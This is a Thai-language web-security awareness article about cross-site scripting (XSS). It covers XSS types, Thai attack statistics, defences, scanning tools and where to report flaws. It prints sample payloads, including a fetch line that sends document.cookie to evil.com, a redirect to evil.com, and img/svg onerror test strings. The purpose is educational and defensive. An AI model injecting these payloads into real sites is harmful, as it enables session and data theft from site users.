Plodpaicyber (ปลอดภัยไซเบอร์)

XSS

ป้องกันการโจมตีผ่านเว็บไซต์

XSS (Cross-Site Scripting) เป็นเทคนิคการโจมตีที่ใช้ JavaScript หรือโค้ดอื่นๆ เพื่อขโมยข้อมูลหรือควบคุมเบราว์เซอร์ของผู้ใช้ โดยการฝังโค้ดอันตรายลงในเว็บไซต์

เหตุการณ์สำคัญที่เกิดขึ้นในไทย

ในปี 2567 พบการโจมตีทางไซเบอร์ที่มุ่งเป้าไปที่เว็บไซต์เพิ่มขึ้น โดยมีการใช้เทคนิค XSS ที่ซับซ้อนมากขึ้น และมีการโจมตีทางไซเบอร์ผ่านเว็บมากกว่า 10 ล้านครั้ง เฉลี่ยวันละ 28,130 ครั้ง

ประเภทของ XSS

  • Reflected XSS: โค้ดอันตรายถูกส่งกลับมาใน response ทันที เช่น การค้นหาที่แสดงผลลัพธ์พร้อมโค้ด JavaScript
  • Stored XSS: โค้ดอันตรายถูกเก็บไว้ในฐานข้อมูลและแสดงผลทุกครั้งที่เข้าชม เช่น ระบบแสดงความคิดเห็น
  • DOM-based XSS: โค้ดอันตรายถูกประมวลผลใน DOM ของเบราว์เซอร์ โดยไม่ส่งไปยังเซิร์ฟเวอร์
  • Self-XSS: การหลอกให้ผู้ใช้ใส่โค้ดใน Console ของเบราว์เซอร์

ตัวอย่างการโจมตี

  • ขโมย Cookie: <script>alert(document.cookie)</script>
  • เปลี่ยนหน้าเว็บ: <script>window.location="http://evil.com"</script>
  • แสดงโฆษณา: <script>alert("You won a prize!")</script>
  • ขโมยข้อมูล: <script>fetch("http://evil.com/steal?data="+document.cookie)</script>

วิธีป้องกันที่ได้ผล

  • Input Validation: ตรวจสอบและทำความสะอาดข้อมูลที่รับเข้ามา
  • Output Encoding: เข้ารหัสข้อมูลก่อนแสดงผล เช่น HTML Encoding, JavaScript Encoding
  • Content Security Policy (CSP): กำหนดนโยบายความปลอดภัยของเนื้อหา
  • HttpOnly Flag: ตั้งค่า Cookie ให้ไม่สามารถเข้าถึงผ่าน JavaScript ได้
  • XSS Protection Headers: ใช้ X-XSS-Protection header

กรณีศึกษาจริง

เว็บไซต์ร้านค้าออนไลน์แห่งหนึ่งมีช่องแสดงความคิดเห็นที่ไม่ได้ป้องกัน XSS มิจฉาชีพใส่ <script>alert("XSS")</script> ในช่องความคิดเห็น เมื่อผู้ใช้เข้าชมหน้าเว็บ จะเห็น popup แสดงข้อความ "XSS" และอาจถูกขโมยข้อมูล

เครื่องมือที่ใช้ในการป้องกัน

  • OWASP ZAP: เครื่องมือทดสอบความปลอดภัยแบบโอเพนซอร์ส
  • Burp Suite: เครื่องมือทดสอบความปลอดภัยแบบมืออาชีพ
  • XSS Scanner: เครื่องมือสแกนหาช่องโหว่ XSS อัตโนมัติ
  • Code Analysis Tools: เครื่องมือวิเคราะห์โค้ดเพื่อหาช่องโหว่

การทดสอบ XSS

สามารถทดสอบ XSS ได้โดยใส่โค้ด JavaScript ในช่องกรอกข้อมูลต่างๆ เช่น:

  • <script>alert("XSS")</script>
  • <img src="x" onerror="alert('XSS')">
  • <svg onload="alert('XSS')"></svg>
  • javascript:alert("XSS")

สัญญาณเตือน

  • เว็บไซต์แสดง JavaScript ที่ไม่ได้คาดหวัง
  • พบ popup หรือ alert ที่แปลกๆ
  • หน้าเว็บเปลี่ยนไปยังไซต์อื่นโดยไม่ทราบสาเหตุ
  • ข้อมูลส่วนตัวรั่วไหลไปยังไซต์อื่น

การรายงานเมื่อพบ XSS

หากพบช่องโหว่ XSS ในเว็บไซต์ ควรรายงานไปยังผู้ดูแลเว็บไซต์หรือหน่วยงานที่เกี่ยวข้อง เช่น CERT Thailand หรือ Bugcrowd

📚 แหล่งที่มาและอ้างอิง

https://www.secnia.go.th/2025/01/ปี-2024-ภัยคุกคามไซเบอร์พุ่ง/ www.tcijthai.com www.ryt9.com

ความคิดเห็น

เข้าสู่ระบบเพื่อแสดงความคิดเห็น

🎯 ทดสอบความรู้ของคุณ

หลังจากอ่านบทความแล้ว คุณพร้อมที่จะทดสอบความรู้หรือยัง?